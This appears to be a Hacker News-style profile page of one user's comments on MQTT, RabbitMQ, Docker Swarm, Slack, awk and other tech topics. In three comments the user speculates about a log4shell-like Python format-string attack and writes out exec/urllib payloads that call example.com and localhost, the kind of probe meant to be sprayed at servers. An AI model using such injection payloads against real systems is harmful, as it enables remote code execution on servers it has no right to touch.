Better HN
topnewbestaskshowjobs
Log inSign up

oneweekwonder

564 karma · joined Aug 2, 2011 (15y ago) · 421 submissions

Submissions

comment 2y ago · link · parent

> Any application that can be written in JavaScript, will eventually be written in JavaScript. - Jeff Atwood (2007)

comment 3y ago · link · parent

> However, in May 2018, the company chose to close down these corresponding gateways due to limitations inherent in those protocols.

It was a way to onboard tech people and once they were big enough they closed the door for those audience.

Which really hurt me because i live in a country with a small tech community and was happily interacting with them using irc, until slack changed into a walled garden.

comment 4y ago · link · parent

little bit off-topic, but do anybody know of something similar for soap/wsdl? I'm aware of soapui mock service.

comment 4y ago · link · parent

playing something in windows media player also keep it open, or running a powershell script that presses F13 or scroll lock also works.

comment 4y ago · link · parent

If your up for jQuery-ui see SlickGrid examples[0] especially "Spreadsheet: features of the previous example but using a DataView"[1].

[0]: https://github.com/6pac/SlickGrid/wiki/Examples

[1]: http://6pac.github.io/SlickGrid/examples/example-spreadsheet...

comment 4y ago · link · parent

If you have 2FA a OTP can be sent to a trusted device or app to allow a password reset without having access to email?

comment 4y ago · link · parent

Personally i use mqtt over websockets, paho[0] is a good js library. It support last will for dc's and the message queue design makes it easy to think of and debug. There also a lot of mq brokers that will scale well.

[0]: https://www.eclipse.org/paho/index.php?page=clients/js/index...

comment 4y ago · link · parent

hah, before ci/devops tools was popular and you had to setup multiple identical/fall-over machines you could scp your .bash_history clean it up a bit and source it, neat.

comment 4y ago · link · parent

not op but we recently wanted to mount nfs and the sysadmin was adamant we use automounter[0] instead of fstab because if the nfs mount is not available it can hang the kernel.

Not sure if it is true or just sysadmin lore but was interesting enough to learn about a alternative.

[0]: https://linux.die.net/man/8/automount

comment 4y ago · link · parent

Clickpocalypse 2[0] is a idle dungeon crawler i really like to watch with a Final Fantasy/Ultima kind of feel.

[0]: http://minmaxia.com/c2/

comment 4y ago · link · parent

From the blog post, FF will keep the functionality to block web requests, unlike chrome.

> After discussing this with several content blocking extension developers, we have decided to implement DNR and continue maintaining support for blocking webRequest

comment 4y ago · link · parent

Thanks for invalidating my naive/fud scenario, I must apologize for fearmongering, when I played with it in a py repl it really felt like a vector for attack.

I up-voted all parties trying to prove me wrong, and someone already down-voted me(rightfully).

comment 4y ago · link · parent

In my hypothetical scenario im not targeting the python logger but rather `''.format()` and f-strings that parse user input naively. A lot of people on /r/ mentions that they started to get '${jndi:...' in their server logs.

So malicious actors is already shotgunning the log4sh attack so what stop them from spamming `{exec("import urllib.request;urllib.request.urlopen('http://example.com').read()")}` and see what stick.

While my example is for python im sure other languages will have similar issues and we will see a rise in format string attacks.

comment 4y ago · link · parent

The author of flask(and a lot more python stuff) goes a bit into detail here[0].

And as pointed out by another commenter my scenario is imaginary because user input needs to be passed to a f-strings. But I did update my original example with a tested `exec` because then you can import modules.

I do see my imaginary attack as low effort for a grey- or black-hat to automate and weaponize.

As mentioned/asked by parent, will we see mini renaissance of format string vulnerabilities, and I believe the answer is yes.

[0]: https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/

comment 4y ago · link · parent

Played around with python for a similar attack and while it needs import and usage of f-string's i was rather taken back how easy it would be to spam the internet with `f"""{exec("import urllib.request;urllib.request.urlopen('http://localhost:8000').read()")}"""` and variants, see what servers bite and then try to send them a more potent attack.

So i personally believe log4sh type attacks across languages will become a lot more common. Because the risk is relatively low and a lot can be automated.

comment 5y ago · link · parent

Strange, because python was released almost 5 years before java.

comment 5y ago · link · parent

Would that not be iTerm?

comment 5y ago · link · parent

> Perl in 2021 probably seems like some curious antique like AWK

Sure you can call awk an antique tool being 44 years old, but its available on almost all unix-like systems even on router running busybox or bare minimum containers using alphine.

So its definitely a personal nitpick of mine calling a very relevant tool an antique.

comment 5y ago · link · parent

> Nomad is closer to Docker Swarm in simplicity and Kubernetes in terms of the feature set.

This a question I still need to google but what features does Kubernetes have that Docker Swarm needs?

Because the perceived complexity of Kubernetes just blows my mind, where Docker Swarm seems a lot more simpler for the same benefits, but my its just abstracted away?

I will say upfront im naive when it comes to container tech.

comment 5y ago · link · parent

npm was about 6 years old and im pretty sure a lot of corporates have adopted node by then.

I don't think it has so much to do with quality but rather we like to re-invent shiny "new" wheels and then the new tooling must iron out all the corner cases.

https://github.com/npm/npm/issues/11283

comment 5y ago · link · parent

I understand the taskbar changed, but last time i tried win11 i could not move it to the top, and it was not pinning the app icon to the containing screen and main screen.

Luckily I could revert to win10.

comment 5y ago · link · parent

Recently wanted to also create a cluster of mqtt brokers and found this medium tutorial stringing Docker Swarm, RabbitMQ, Consul and HAProxy together very helpful[0].

I was not happy with the static ip's for haproxy and opted to register the mqtt/tls services in consul and use the consul dns resolver with hapraxy.

[0]: https://medium.com/hepsiburadatech/implementing-highly-avail...

comment 5y ago · link · parent

You are aware RabbitMQ support MQTT[0] and MQTT over WebSockets[1]?

As for comparing it to RabbitMQ you should compare the AMQP protocol vs MQTT protocol, it seems MQTT with its lightweight design "won" IoT market over and should be rather compared against protocols like CoAP.

As for guides I have always found resources rather scarce and mostly learned by adding features to mqtt libraries or writing my own prototype games using it.

[0]: https://www.rabbitmq.com/mqtt.html [1]: https://www.rabbitmq.com/web-mqtt.html

comment 5y ago · link · parent

Eclipse Paho JavaScript Client[0] for the front-end and personally I prefer RabbitMQ Web MQTT Plugin[1] for the back-end[1].

Take note Paho MQTT Client is available for several programming languages(Py,Rust,Go,C,C#,etc)[2].

[0]: https://www.eclipse.org/paho/index.php?page=clients/js/index... [1]: https://www.rabbitmq.com/web-mqtt.html [2]: https://www.eclipse.org/paho/index.php?page=downloads.php

comment 5y ago · link · parent

I was flabbergasted to learn Nick Saban from University of Alabama makes $9.3 million annually(2019)[0].

[0]: https://en.wikipedia.org/wiki/Nick_Saban

comment 5y ago · link · parent

I wonder why coder.com[0] is not mentioned, the ide is also open-source[1].

As for cloud9 they closed their source and license when they moved to v3, but there is still a v2 descendant called Pylon IDE[3].

[0]: https://coder.com/ [1]: https://github.com/cdr/code-server [3]: https://github.com/pylonide/pylon

comment 5y ago · link · parent

Something i do way to much is `watch telnet <static-ip> 22` because it will print a Terminal bell and then i know a embedded device with a short ssh/dhcp window is up.

This is for dropbear ssh have not tested it on openssh, yet.

comment 5y ago · link · parent

While Monodraw seems to have business related features I feel the need to mention "Mœbius ANSI Art Editor"[0] a cross platform open source alternative.

Moebius is a new ANSI and ASCII Editor for MacOS, Windows, and Linux.

With a neat Moebius Server feature that allows collaboration by multiple users on the same canvas through a server instance.

[0]: https://blocktronics.github.io/moebius/

comment 5y ago · link · parent

reminds me of the time(2018) outdated MikroTik routers got patched by a grey-hat[0].

[0]: https://www.zdnet.com/article/a-mysterious-grey-hat-is-patch...

comment 5y ago · link · parent

i could access it using old.reddit.com[0] or if you are on mobile reddit.premii.com[1] also seems to work.

[0]: https://old.reddit.com/r/InternetIsBeautiful/ [1]: https://reddit.premii.com/#/r/InternetIsBeautiful/

12345
15